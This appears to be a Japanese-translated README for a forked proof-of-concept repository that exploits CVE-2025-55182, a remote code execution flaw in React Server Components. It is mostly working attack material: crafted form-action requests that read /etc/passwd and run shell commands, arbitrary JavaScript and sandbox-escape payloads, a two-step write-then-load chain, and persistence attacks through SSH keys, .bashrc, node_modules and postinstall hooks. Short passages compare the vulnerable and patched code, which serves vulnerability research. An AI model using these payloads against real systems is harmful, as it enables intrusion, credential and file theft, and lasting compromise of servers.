このPOCは、実際の`[email protected]`の脆弱性コードを使用してCVE-2025-55182を実証します。
このPOCは、実際の脆弱なコードである [email protected] を使用して CVE-2025-55182 を実証します。
CVE-2025-55182 緊急修正ガイド: Next.js/React RSC 脆弱性 (CVSS 10.0) の完全な分析と緩和策
このリポジトリは https://github.com/ejpir/CVE-2025-55182-poc からフォークされたもので、まだ検証されていません! 十分に注意し、慎重に検証してください!
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
npm run start:module # Start module server (port 3003) - hypothetical, see note below
# Exploits (use with npm start)
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research # Prototype chain research
# Hypothetical exploits (use with start:module)
npm run exploit:module # Two-step RCE via module#_load
npm run exploit:indirect # Two-step RCE with proof file
注記:
moduleエクスプロイトは仮説上のものです。module組み込みモジュールが本番アプリに バンドルされることはほとんどありません。これらは、fsとmoduleのみが利用可能な場合 (vm/child_process なし) の理論上の攻撃経路を示しています。実際には、fsを持つアプリは 通常、sharp、puppeteer、execa などの依存関係を通じてchild_processも持っています。
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| ファイル | ポート | 説明 |
|---|---|---|
src/server-realistic.js | 3002 | メインサーバー - 一般的なモジュール (fs、vm、child_process) を含む webpack バンドルをシミュレート |
src/server.js | 3002 | レガシーサーバー (直接 require を使用) |
src/server-module-test.js | 3003 | module + fs を使用するサーバー (研究用) |
| ファイル | 説明 |
|---|---|
exploit-rce-v4.js | 主要な RCE (vm#runInThisContext 経由) |
exploit-all-gadgets.js | すべての RCE ガジェットをテスト (vm、child_process、fs) |
exploit-module-load.js | fs + module#_load による2段階 RCE |
exploit-indirect-rce.js | 証明ファイル作成による2段階 RCE |
exploit-persistence.js | 永続化攻撃 (SSH 鍵、.bashrc) |
exploit-research.js | プロトタイプチェーン研究 |
アプリが依存関係を通じて危険なモジュールをバンドルすることが一般的な、実際の webpack バンドルをシミュレートします:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
__webpack_require__ 関数は BUNDLED_MODULES からのみモジュールをロードし、実際の webpack の動作をシミュレートします。
requireModule() では、エクスポートが hasOwnProperty チェックなしでブラケット記法によりアクセスされます:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 をバインドされたアクションメタデータとともに送信するid: 'vm#runInThisContext' が vm モジュールをロードし、runInThisContext エクスポートにアクセスするbound 配列が関数の引数になるrunInThisContext(CODE) が任意のコードを実行する| ガジェット | ステータス | 説明 |
|---|---|---|
vm#runInThisContext | ✓ | 現在のコンテキストで任意の JS を実行 |
vm#runInNewContext | ✓ | 「サンドボックス」内で実行 (簡単に脱出可能) |
child_process#execSync | ✓ | シェルコマンドを直接実行 |
child_process#execFileSync | ✓ | バイナリファイルを実行 |
child_process#spawnSync | ✓ | プロセスを起動 (オブジェクトを返す) |
module#_load | ✓ | JS ファイルをロードして実行 (fs と組み合わせた2段階) |
fs#readFileSync | ✓ | 任意のファイルを読み取り |
fs#writeFileSync | ✓ | 任意のファイルを書き込み |
シェルコマンドを実行 (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
機密ファイルを読み取り:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
ファイルをディスクに書き込み:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
任意の JavaScript を実行:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
サンドボックス脱出 (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
直接 RCE の場合: はい、次のいずれかが必要です:
vm モジュール (runInThisContext、runInNewContext)child_process モジュール (execSync、execFileSync、spawnSync)間接 RCE の場合 (fs のみ): いいえ! fs だけで以下が可能です:
~/.ssh/authorized_keys に書き込む → SSH アクセス~/.bashrc に追記する → 次回ログイン時にコード実行node_modules/* を上書きする → アプリ再起動時に RCEpackage.json の postinstall を変更する → 次回の npm install 時に RCE注記: これは仮説上のものです。
module組み込みモジュールが本番環境にバンドルされることはほとんどありません。
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!
| バージョン | 攻撃 | 結果 |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE 達成 |
| React 19.2.1 | vm#runInThisContext | ✗ ブロック |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
危険なモジュールを含む人気 npm パッケージの調査については、VULNERABLE-PACKAGES.md を参照してください:
| モジュール | 週間ダウンロード数 | 人気パッケージ |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |